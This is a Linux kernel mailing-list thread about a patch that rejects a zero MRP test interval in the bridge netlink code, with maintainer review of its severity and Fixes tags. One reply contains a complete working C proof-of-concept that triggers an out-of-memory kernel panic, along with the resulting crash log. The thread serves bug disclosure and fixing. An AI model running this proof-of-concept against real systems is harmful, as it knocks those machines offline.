* [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic
@ 2026-03-26 3:24 Xiang Mei
2026-03-26 3:42 ` Xiang Mei
2026-03-27 11:34 ` Simon Horman
0 siblings, 2 replies; 10+ messages in thread
From: Xiang Mei @ 2026-03-26 3:24 UTC (permalink / raw)
To: netdev
Cc: bridge, razor, idosch, davem, edumazet, pabeni, horms, bestswngs,
Xiang Mei
br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied
interval value from netlink without validation. When interval is 0,
usecs_to_jiffies(0) yields 0, causing the delayed work
(br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule
itself with zero delay. This creates a tight loop on system_percpu_wq
that allocates and transmits MRP test frames at maximum rate, exhausting
all system memory and causing a kernel panic via OOM deadlock.
The same zero-interval issue applies to br_mrp_start_in_test_parse()
for interconnect test frames.
Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both
IFLA_BRIDGE_MRP_START_TEST_INTERVAL and
IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the
netlink attribute parsing layer before the value ever reaches the
workqueue scheduling code. This is consistent with how other bridge
subsystems (br_fdb, br_mst) enforce range constraints on netlink
attributes.
Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/bridge/br_mrp_netlink.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/net/bridge/br_mrp_netlink.c b/net/bridge/br_mrp_netlink.c
index ce6f63c77cc0..86f0e75d6e34 100644
--- a/net/bridge/br_mrp_netlink.c
+++ b/net/bridge/br_mrp_netlink.c
@@ -196,7 +196,7 @@ static const struct nla_policy
br_mrp_start_test_policy[IFLA_BRIDGE_MRP_START_TEST_MAX + 1] = {
[IFLA_BRIDGE_MRP_START_TEST_UNSPEC] = { .type = NLA_REJECT },
[IFLA_BRIDGE_MRP_START_TEST_RING_ID] = { .type = NLA_U32 },
- [IFLA_BRIDGE_MRP_START_TEST_INTERVAL] = { .type = NLA_U32 },
+ [IFLA_BRIDGE_MRP_START_TEST_INTERVAL] = NLA_POLICY_MIN(NLA_U32, 1),
[IFLA_BRIDGE_MRP_START_TEST_MAX_MISS] = { .type = NLA_U32 },
[IFLA_BRIDGE_MRP_START_TEST_PERIOD] = { .type = NLA_U32 },
[IFLA_BRIDGE_MRP_START_TEST_MONITOR] = { .type = NLA_U32 },
@@ -316,7 +316,7 @@ static const struct nla_policy
br_mrp_start_in_test_policy[IFLA_BRIDGE_MRP_START_IN_TEST_MAX + 1] = {
[IFLA_BRIDGE_MRP_START_IN_TEST_UNSPEC] = { .type = NLA_REJECT },
[IFLA_BRIDGE_MRP_START_IN_TEST_IN_ID] = { .type = NLA_U32 },
- [IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL] = { .type = NLA_U32 },
+ [IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL] = NLA_POLICY_MIN(NLA_U32, 1),
[IFLA_BRIDGE_MRP_START_IN_TEST_MAX_MISS] = { .type = NLA_U32 },
[IFLA_BRIDGE_MRP_START_IN_TEST_PERIOD] = { .type = NLA_U32 },
};
--
2.43.0
^ permalink raw reply related [flat|nested] 10+ messages in thread* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-26 3:24 [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic Xiang Mei @ 2026-03-26 3:42 ` Xiang Mei 2026-03-27 11:34 ` Simon Horman 1 sibling, 0 replies; 10+ messages in thread From: Xiang Mei @ 2026-03-26 3:42 UTC (permalink / raw) To: netdev; +Cc: bridge, razor, idosch, davem, edumazet, pabeni, horms, bestswngs On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > interval value from netlink without validation. When interval is 0, > usecs_to_jiffies(0) yields 0, causing the delayed work > (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > itself with zero delay. This creates a tight loop on system_percpu_wq > that allocates and transmits MRP test frames at maximum rate, exhausting > all system memory and causing a kernel panic via OOM deadlock. > > The same zero-interval issue applies to br_mrp_start_in_test_parse() > for interconnect test frames. > > Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both > IFLA_BRIDGE_MRP_START_TEST_INTERVAL and > IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the > netlink attribute parsing layer before the value ever reaches the > workqueue scheduling code. This is consistent with how other bridge > subsystems (br_fdb, br_mst) enforce range constraints on netlink > attributes. > > Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") > Reported-by: Weiming Shi <bestswngs@gmail.com> > Signed-off-by: Xiang Mei <xmei5@asu.edu> > --- > net/bridge/br_mrp_netlink.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/net/bridge/br_mrp_netlink.c b/net/bridge/br_mrp_netlink.c > index ce6f63c77cc0..86f0e75d6e34 100644 > --- a/net/bridge/br_mrp_netlink.c > +++ b/net/bridge/br_mrp_netlink.c > @@ -196,7 +196,7 @@ static const struct nla_policy > br_mrp_start_test_policy[IFLA_BRIDGE_MRP_START_TEST_MAX + 1] = { > [IFLA_BRIDGE_MRP_START_TEST_UNSPEC] = { .type = NLA_REJECT }, > [IFLA_BRIDGE_MRP_START_TEST_RING_ID] = { .type = NLA_U32 }, > - [IFLA_BRIDGE_MRP_START_TEST_INTERVAL] = { .type = NLA_U32 }, > + [IFLA_BRIDGE_MRP_START_TEST_INTERVAL] = NLA_POLICY_MIN(NLA_U32, 1), > [IFLA_BRIDGE_MRP_START_TEST_MAX_MISS] = { .type = NLA_U32 }, > [IFLA_BRIDGE_MRP_START_TEST_PERIOD] = { .type = NLA_U32 }, > [IFLA_BRIDGE_MRP_START_TEST_MONITOR] = { .type = NLA_U32 }, > @@ -316,7 +316,7 @@ static const struct nla_policy > br_mrp_start_in_test_policy[IFLA_BRIDGE_MRP_START_IN_TEST_MAX + 1] = { > [IFLA_BRIDGE_MRP_START_IN_TEST_UNSPEC] = { .type = NLA_REJECT }, > [IFLA_BRIDGE_MRP_START_IN_TEST_IN_ID] = { .type = NLA_U32 }, > - [IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL] = { .type = NLA_U32 }, > + [IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL] = NLA_POLICY_MIN(NLA_U32, 1), > [IFLA_BRIDGE_MRP_START_IN_TEST_MAX_MISS] = { .type = NLA_U32 }, > [IFLA_BRIDGE_MRP_START_IN_TEST_PERIOD] = { .type = NLA_U32 }, > }; > -- > 2.43.0 > Thanks for your attention for this bug. Considering the low severity (DoS only), we resend this bug to the open list. The following information could help you to reproduce the bug: Configs: ``` CONFIG_BRIDGE=y CONFIG_BRIDGE_MRP=y ``` PoC Source Code: ```c /* * PoC: MRP zero-interval workqueue DoS (OOM panic) * Requires: ns_capable(CAP_NET_ADMIN), CONFIG_BRIDGE=y, CONFIG_BRIDGE_MRP=y */ #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/if_link.h> #include <linux/if_bridge.h> #include <net/if.h> #include <sys/ioctl.h> #define NLA4(l) (((l)+3)&~3) #define NLAH ((int)NLA4(sizeof(struct nlattr))) #define VETH_INFO_PEER 1 static char buf[8192]; static int pos, nl_fd; static unsigned seq = 1; static void begin(int type, int flags) { memset(buf, 0, sizeof(buf)); struct nlmsghdr *h = (void *)buf; h->nlmsg_type = type; h->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; h->nlmsg_seq = seq++; pos = NLMSG_HDRLEN; } static void ifinfo(int fam, int idx, unsigned fl, unsigned ch) { struct ifinfomsg *m = (void *)(buf + pos); m->ifi_family = fam; m->ifi_index = idx; m->ifi_flags = fl; m->ifi_change = ch; pos += NLMSG_ALIGN(sizeof(*m)); ((struct nlmsghdr *)buf)->nlmsg_len = pos; } static struct nlattr *nest(int type) { struct nlattr *a = (void *)(buf + pos); a->nla_type = type | NLA_F_NESTED; a->nla_len = NLAH; pos += NLAH; return a; } static void nest_end(struct nlattr *a) { a->nla_len = buf + pos - (char *)a; ((struct nlmsghdr *)buf)->nlmsg_len = pos; } static void nla_put(int type, const void *data, int len) { struct nlattr *a = (void *)(buf + pos); a->nla_type = type; a->nla_len = NLAH + len; memcpy(buf + pos + NLAH, data, len); pos += NLA4(NLAH + len); ((struct nlmsghdr *)buf)->nlmsg_len = pos; } static void nla_str(int type, const char *s) { nla_put(type, s, strlen(s)+1); } static void nla_u32(int type, __u32 v) { nla_put(type, &v, 4); } static void nla_u16(int type, __u16 v) { nla_put(type, &v, 2); } static int talk(void) { struct nlmsghdr *h = (void *)buf; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; sendto(nl_fd, buf, h->nlmsg_len, 0, (void *)&sa, sizeof(sa)); char rb[4096]; while (1) { int n = recv(nl_fd, rb, sizeof(rb), 0); if (n < 0) return -1; for (struct nlmsghdr *r = (void *)rb; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) { if (r->nlmsg_seq != h->nlmsg_seq) continue; if (r->nlmsg_type == NLMSG_ERROR) return ((struct nlmsgerr *)NLMSG_DATA(r))->error; if (r->nlmsg_type == NLMSG_DONE) return 0; } } } static int getidx(const char *name) { struct ifreq ifr = {}; int fd = socket(AF_INET, SOCK_DGRAM, 0); strncpy(ifr.ifr_name, name, IFNAMSIZ - 1); ioctl(fd, SIOCGIFINDEX, &ifr); close(fd); return ifr.ifr_ifindex; } static void mk_veth(const char *a, const char *b) { begin(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL); ifinfo(AF_UNSPEC, 0, 0, 0); nla_str(IFLA_IFNAME, a); struct nlattr *li = nest(IFLA_LINKINFO); nla_str(IFLA_INFO_KIND, "veth"); struct nlattr *d = nest(IFLA_INFO_DATA); struct nlattr *p = nest(VETH_INFO_PEER); memset(buf + pos, 0, sizeof(struct ifinfomsg)); pos += NLMSG_ALIGN(sizeof(struct ifinfomsg)); ((struct nlmsghdr *)buf)->nlmsg_len = pos; nla_str(IFLA_IFNAME, b); nest_end(p); nest_end(d); nest_end(li); talk(); } static void link_up(int idx) { begin(RTM_NEWLINK, 0); ifinfo(AF_UNSPEC, idx, IFF_UP, IFF_UP); talk(); } static void set_master(int idx, int master) { begin(RTM_NEWLINK, 0); ifinfo(AF_UNSPEC, idx, 0, 0); nla_u32(IFLA_MASTER, master); talk(); } static int mrp(int idx, void (*build)(int, int), int p, int s) { begin(RTM_SETLINK, 0); ifinfo(AF_BRIDGE, idx, 0, 0); struct nlattr *af = nest(IFLA_AF_SPEC); struct nlattr *m = nest(IFLA_BRIDGE_MRP); build(p, s); nest_end(m); nest_end(af); return talk(); } static void build_inst(int p, int s) { struct nlattr *n = nest(IFLA_BRIDGE_MRP_INSTANCE); nla_u32(IFLA_BRIDGE_MRP_INSTANCE_RING_ID, 1); nla_u32(IFLA_BRIDGE_MRP_INSTANCE_P_IFINDEX, p); nla_u32(IFLA_BRIDGE_MRP_INSTANCE_S_IFINDEX, s); nla_u16(IFLA_BRIDGE_MRP_INSTANCE_PRIO, 0x8000); nest_end(n); } static void build_role(int p, int s) { (void)p; (void)s; struct nlattr *n = nest(IFLA_BRIDGE_MRP_RING_ROLE); nla_u32(IFLA_BRIDGE_MRP_RING_ROLE_RING_ID, 1); nla_u32(IFLA_BRIDGE_MRP_RING_ROLE_ROLE, 2); nest_end(n); } static void build_test(int p, int s) { (void)p; (void)s; struct nlattr *n = nest(IFLA_BRIDGE_MRP_START_TEST); nla_u32(IFLA_BRIDGE_MRP_START_TEST_RING_ID, 1); nla_u32(IFLA_BRIDGE_MRP_START_TEST_INTERVAL, 0); /* BUG */ nla_u32(IFLA_BRIDGE_MRP_START_TEST_MAX_MISS, 3); nla_u32(IFLA_BRIDGE_MRP_START_TEST_PERIOD, 60000000); nla_u32(IFLA_BRIDGE_MRP_START_TEST_MONITOR, 0); nest_end(n); } int main(void) { printf("[*] MRP zero-interval DoS PoC\n"); nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; bind(nl_fd, (void *)&sa, sizeof(sa)); /* bridge + 2 veth pairs */ begin(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL); ifinfo(AF_UNSPEC, 0, 0, 0); nla_str(IFLA_IFNAME, "br0"); struct nlattr *li = nest(IFLA_LINKINFO); nla_str(IFLA_INFO_KIND, "bridge"); nest_end(li); talk(); mk_veth("mp0", "mp0p"); mk_veth("ms0", "ms0p"); int br = getidx("br0"), pi = getidx("mp0"), si = getidx("ms0"); set_master(pi, br); set_master(si, br); link_up(br); link_up(pi); link_up(si); link_up(getidx("mp0p")); link_up(getidx("ms0p")); /* MRP: instance → role → test(interval=0) */ if (mrp(pi, build_inst, pi, si) < 0) return 1; mrp(pi, build_role, pi, si); mrp(pi, build_test, pi, si); printf("[+] Waiting for OOM panic...\n"); sleep(120); return 0; } ``` The intended crash: ``` [ 10.874074] Out of memory: Killed process 143 (exploit) total-vm:1032kB, anon-rss:64kB, file-rss:4kB, shmem-rss:684kB, UID:0 pgtables:40kB oom_score_adj:0 [ 10.876511] Out of memory: Killed process 142 (su) total-vm:4528kB, anon-rss:388kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:52kB oom_score_adj:0 [ 10.879768] Out of memory: Killed process 140 (su) total-vm:4508kB, anon-rss:376kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:52kB oom_score_adj:0 [ 10.880885] Out of memory: Killed process 129 (init.sh) total-vm:3992kB, anon-rss:264kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:44kB oom_score_adj:0 [ 10.883589] Out of memory: Killed process 141 (bash) total-vm:3912kB, anon-rss:248kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:48kB oom_score_adj:0 [ 10.886036] Kernel panic - not syncing: System is deadlocked on memory [ 10.886394] CPU: 0 UID: 0 PID: 1 Comm: init Not tainted 7.0.0-rc4+ #6 PREEMPTLAZY [ 10.886803] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 10.887379] Call Trace: [ 10.887518] <TASK> [ 10.887626] vpanic+0x694/0x780 [ 10.887785] ? __pfx_vpanic+0x10/0x10 [ 10.887965] ? __pfx__raw_spin_lock+0x10/0x10 [ 10.888199] panic+0xca/0xd0 [ 10.888349] ? __pfx_panic+0x10/0x10 [ 10.888531] ? panic_on_this_cpu+0x1a/0x40 [ 10.888738] out_of_memory+0x124e/0x1350 [ 10.888921] ? __pfx_out_of_memory+0x10/0x10 [ 10.889132] __alloc_pages_slowpath.constprop.0+0x2325/0x2dd0 [ 10.889426] ? __pfx_do_wp_page+0x10/0x10 [ 10.889618] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10 [ 10.889911] ? __alloc_frozen_pages_noprof+0x4f8/0x800 [ 10.890178] __alloc_frozen_pages_noprof+0x4f8/0x800 [ 10.890417] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10 [ 10.890678] ? alloc_pages_mpol+0x13a/0x390 [ 10.890883] ? __pfx_alloc_pages_mpol+0x10/0x10 [ 10.891106] alloc_pages_mpol+0x13a/0x390 [ 10.891313] ? __pfx_alloc_pages_mpol+0x10/0x10 [ 10.891535] ? xas_load+0x18/0x270 [ 10.891704] folio_alloc_noprof+0x16/0xd0 [ 10.891903] filemap_alloc_folio_noprof.part.0+0x1f7/0x350 [ 10.892188] ? __pfx_filemap_alloc_folio_noprof.part.0+0x10/0x10 [ 10.892485] ? page_cache_ra_unbounded+0x351/0x7b0 [ 10.892740] __filemap_get_folio_mpol+0x278/0x4f0 [ 10.892969] filemap_fault+0x10eb/0x2fc0 [ 10.893177] ? __pfx_filemap_fault+0x10/0x10 [ 10.893384] ? recalc_sigpending+0x19b/0x230 [ 10.893588] __do_fault+0xf4/0x6d0 [ 10.893751] do_fault+0x891/0x11f0 [ 10.893919] __handle_mm_fault+0x918/0x1400 [ 10.894126] ? __pfx___handle_mm_fault+0x10/0x10 [ 10.894369] ? __pfx_vma_start_read+0x10/0x10 [ 10.894585] ? __pfx_lock_vma_under_rcu+0x10/0x10 [ 10.894809] handle_mm_fault+0x464/0xc70 [ 10.894999] do_user_addr_fault+0x27b/0xbb0 [ 10.895209] exc_page_fault+0x6b/0xe0 [ 10.895385] asm_exc_page_fault+0x26/0x30 [ 10.895569] RIP: 0033:0x572bb2c72c30 [ 10.895733] Code: Unable to access opcode bytes at 0x572bb2c72c06. [ 10.896007] RSP: 002b:00007ffdf17d8538 EFLAGS: 00010246 [ 10.896255] RAX: 0000000000000000 RBX: 0000572bb2c81b28 RCX: 00007ff928e02dba [ 10.896590] RDX: 00007ffdf17d8540 RSI: 00007ffdf17d8670 RDI: 0000000000000011 [ 10.896915] RBP: 00007ffdf17d9270 R08: 0000000000000000 R09: 00007ff928f10580 [ 10.897242] R10: 0000000000000000 R11: 0000000000000246 R12: 0000572bb2c81b90 [ 10.897556] R13: 0000000000000001 R14: 0000000000000000 R15: 00007ffdf17d926c [ 10.897872] </TASK> [ 10.898040] Kernel Offset: disabled ``` This bug is a DoS bug requiring ns_capable(CAP_NET_ADMIN). Please let me know if you have any questions for the patch and poc. Thanks, Xiang ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-26 3:24 [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic Xiang Mei 2026-03-26 3:42 ` Xiang Mei @ 2026-03-27 11:34 ` Simon Horman 2026-03-27 11:46 ` Nikolay Aleksandrov 2026-03-28 6:06 ` Xiang Mei 1 sibling, 2 replies; 10+ messages in thread From: Simon Horman @ 2026-03-27 11:34 UTC (permalink / raw) To: Xiang Mei Cc: netdev, bridge, razor, idosch, davem, edumazet, pabeni, bestswngs On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > interval value from netlink without validation. When interval is 0, > usecs_to_jiffies(0) yields 0, causing the delayed work > (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > itself with zero delay. This creates a tight loop on system_percpu_wq > that allocates and transmits MRP test frames at maximum rate, exhausting > all system memory and causing a kernel panic via OOM deadlock. I would suspect the primary outcome of this problem is high CPU consumption rather than memory exhaustion. Is there a reason to expect that the transmitted fames can't be consumed as fast as they are created? > > The same zero-interval issue applies to br_mrp_start_in_test_parse() > for interconnect test frames. > > Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both > IFLA_BRIDGE_MRP_START_TEST_INTERVAL and > IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the > netlink attribute parsing layer before the value ever reaches the > workqueue scheduling code. This is consistent with how other bridge > subsystems (br_fdb, br_mst) enforce range constraints on netlink > attributes. > > Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") I think you also want Fixes: 20f6a05ef635 ("bridge: mrp: Rework the MRP netlink interface") As highlighted by AI review. > Reported-by: Weiming Shi <bestswngs@gmail.com> > Signed-off-by: Xiang Mei <xmei5@asu.edu> ... ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-27 11:34 ` Simon Horman @ 2026-03-27 11:46 ` Nikolay Aleksandrov 2026-03-28 0:19 ` Jakub Kicinski 2026-03-28 6:19 ` Xiang Mei 2026-03-28 6:06 ` Xiang Mei 1 sibling, 2 replies; 10+ messages in thread From: Nikolay Aleksandrov @ 2026-03-27 11:46 UTC (permalink / raw) To: Simon Horman, Xiang Mei Cc: netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs On 27/03/2026 13:34, Simon Horman wrote: > On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: >> br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied >> interval value from netlink without validation. When interval is 0, >> usecs_to_jiffies(0) yields 0, causing the delayed work >> (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule >> itself with zero delay. This creates a tight loop on system_percpu_wq >> that allocates and transmits MRP test frames at maximum rate, exhausting >> all system memory and causing a kernel panic via OOM deadlock. > > I would suspect the primary outcome of this problem is high CPU consumption > rather than memory exhaustion. Is there a reason to expect that > the transmitted fames can't be consumed as fast as they are created? > +1 More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage conditions. This is a configuration error and OOM doesn't lead to panic unless instructed to. I don't think this is worth changing at all. >> >> The same zero-interval issue applies to br_mrp_start_in_test_parse() >> for interconnect test frames. >> >> Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both >> IFLA_BRIDGE_MRP_START_TEST_INTERVAL and >> IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the >> netlink attribute parsing layer before the value ever reaches the >> workqueue scheduling code. This is consistent with how other bridge >> subsystems (br_fdb, br_mst) enforce range constraints on netlink >> attributes. >> >> Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") > > I think you also want > > Fixes: 20f6a05ef635 ("bridge: mrp: Rework the MRP netlink interface") > > As highlighted by AI review. > >> Reported-by: Weiming Shi <bestswngs@gmail.com> >> Signed-off-by: Xiang Mei <xmei5@asu.edu> > > ... ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-27 11:46 ` Nikolay Aleksandrov @ 2026-03-28 0:19 ` Jakub Kicinski 2026-03-28 6:18 ` Nikolay Aleksandrov 2026-03-28 6:23 ` Xiang Mei 2026-03-28 6:19 ` Xiang Mei 1 sibling, 2 replies; 10+ messages in thread From: Jakub Kicinski @ 2026-03-28 0:19 UTC (permalink / raw) To: Nikolay Aleksandrov Cc: Simon Horman, Xiang Mei, netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs On Fri, 27 Mar 2026 13:46:39 +0200 Nikolay Aleksandrov wrote: > On 27/03/2026 13:34, Simon Horman wrote: > > On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > >> br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > >> interval value from netlink without validation. When interval is 0, > >> usecs_to_jiffies(0) yields 0, causing the delayed work > >> (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > >> itself with zero delay. This creates a tight loop on system_percpu_wq > >> that allocates and transmits MRP test frames at maximum rate, exhausting > >> all system memory and causing a kernel panic via OOM deadlock. > > > > I would suspect the primary outcome of this problem is high CPU consumption > > rather than memory exhaustion. Is there a reason to expect that > > the transmitted fames can't be consumed as fast as they are created? > > +1 > More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage > conditions. This is a configuration error and OOM doesn't lead to panic unless > instructed to. I don't think this is worth changing at all. Then again if there's no practical use for 0 we should consider the risk of getting this sort of submission over and over again? Dunno.. ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-28 0:19 ` Jakub Kicinski @ 2026-03-28 6:18 ` Nikolay Aleksandrov 2026-03-28 6:23 ` Xiang Mei 1 sibling, 0 replies; 10+ messages in thread From: Nikolay Aleksandrov @ 2026-03-28 6:18 UTC (permalink / raw) To: Jakub Kicinski Cc: Simon Horman, Xiang Mei, netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs On 28/03/2026 02:19, Jakub Kicinski wrote: > On Fri, 27 Mar 2026 13:46:39 +0200 Nikolay Aleksandrov wrote: >> On 27/03/2026 13:34, Simon Horman wrote: >>> On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: >>>> br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied >>>> interval value from netlink without validation. When interval is 0, >>>> usecs_to_jiffies(0) yields 0, causing the delayed work >>>> (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule >>>> itself with zero delay. This creates a tight loop on system_percpu_wq >>>> that allocates and transmits MRP test frames at maximum rate, exhausting >>>> all system memory and causing a kernel panic via OOM deadlock. >>> >>> I would suspect the primary outcome of this problem is high CPU consumption >>> rather than memory exhaustion. Is there a reason to expect that >>> the transmitted fames can't be consumed as fast as they are created? >> >> +1 >> More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage >> conditions. This is a configuration error and OOM doesn't lead to panic unless >> instructed to. I don't think this is worth changing at all. > > Then again if there's no practical use for 0 we should consider > the risk of getting this sort of submission over and over again? > Dunno.. Sure, I'm fine either way. To that end the patch looks good, just need the fixes tag as mentioned earlier. ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-28 0:19 ` Jakub Kicinski 2026-03-28 6:18 ` Nikolay Aleksandrov @ 2026-03-28 6:23 ` Xiang Mei 1 sibling, 0 replies; 10+ messages in thread From: Xiang Mei @ 2026-03-28 6:23 UTC (permalink / raw) To: Jakub Kicinski Cc: Nikolay Aleksandrov, Simon Horman, netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs Thanks for your review. interval=1 works fine even in the case when we use netem to delay the consumer. I'll correct the fix tag and send a v2. On Fri, Mar 27, 2026 at 5:19 PM Jakub Kicinski <kuba@kernel.org> wrote: > > On Fri, 27 Mar 2026 13:46:39 +0200 Nikolay Aleksandrov wrote: > > On 27/03/2026 13:34, Simon Horman wrote: > > > On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > > >> br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > > >> interval value from netlink without validation. When interval is 0, > > >> usecs_to_jiffies(0) yields 0, causing the delayed work > > >> (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > > >> itself with zero delay. This creates a tight loop on system_percpu_wq > > >> that allocates and transmits MRP test frames at maximum rate, exhausting > > >> all system memory and causing a kernel panic via OOM deadlock. > > > > > > I would suspect the primary outcome of this problem is high CPU consumption > > > rather than memory exhaustion. Is there a reason to expect that > > > the transmitted fames can't be consumed as fast as they are created? > > > > +1 > > More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage > > conditions. This is a configuration error and OOM doesn't lead to panic unless > > instructed to. I don't think this is worth changing at all. > > Then again if there's no practical use for 0 we should consider > the risk of getting this sort of submission over and over again? > Dunno.. ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-27 11:46 ` Nikolay Aleksandrov 2026-03-28 0:19 ` Jakub Kicinski @ 2026-03-28 6:19 ` Xiang Mei 2026-03-28 6:38 ` Nikolay Aleksandrov 1 sibling, 1 reply; 10+ messages in thread From: Xiang Mei @ 2026-03-28 6:19 UTC (permalink / raw) To: Nikolay Aleksandrov Cc: Simon Horman, netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs On Fri, Mar 27, 2026 at 01:46:39PM +0200, Nikolay Aleksandrov wrote: > On 27/03/2026 13:34, Simon Horman wrote: > > On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > > > br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > > > interval value from netlink without validation. When interval is 0, > > > usecs_to_jiffies(0) yields 0, causing the delayed work > > > (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > > > itself with zero delay. This creates a tight loop on system_percpu_wq > > > that allocates and transmits MRP test frames at maximum rate, exhausting > > > all system memory and causing a kernel panic via OOM deadlock. > > > > I would suspect the primary outcome of this problem is high CPU consumption > > rather than memory exhaustion. Is there a reason to expect that > > the transmitted fames can't be consumed as fast as they are created? > > > > +1 > More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage > conditions. This is a configuration error and OOM doesn't lead to panic unless > instructed to. I don't think this is worth changing at all. Thanks for your review. This path is reachable from an unprivileged user namespace. The capability check goes through rtnetlink_rcv_msg() -> netlink_net_capable() -> netlink_ns_capable(), which checks CAP_NET_ADMIN against the network namespace's user_ns, not init_user_ns. An unprivileged user can create a user+net namespace, get CAP_NET_ADMIN within it, set up a bridge with MRP, and trigger the zero-interval loop. This is not a privileged misconfiguration scenario. Also, the PoC can crash a kernel without "oops=panic" with this bug. > > > > > > > The same zero-interval issue applies to br_mrp_start_in_test_parse() > > > for interconnect test frames. > > > > > > Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both > > > IFLA_BRIDGE_MRP_START_TEST_INTERVAL and > > > IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the > > > netlink attribute parsing layer before the value ever reaches the > > > workqueue scheduling code. This is consistent with how other bridge > > > subsystems (br_fdb, br_mst) enforce range constraints on netlink > > > attributes. > > > > > > Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") > > > > I think you also want > > > > Fixes: 20f6a05ef635 ("bridge: mrp: Rework the MRP netlink interface") > > > > As highlighted by AI review. > > > > > Reported-by: Weiming Shi <bestswngs@gmail.com> > > > Signed-off-by: Xiang Mei <xmei5@asu.edu> > > > > ... > ^ permalink raw reply [flat|nested] 10+ messages in thread
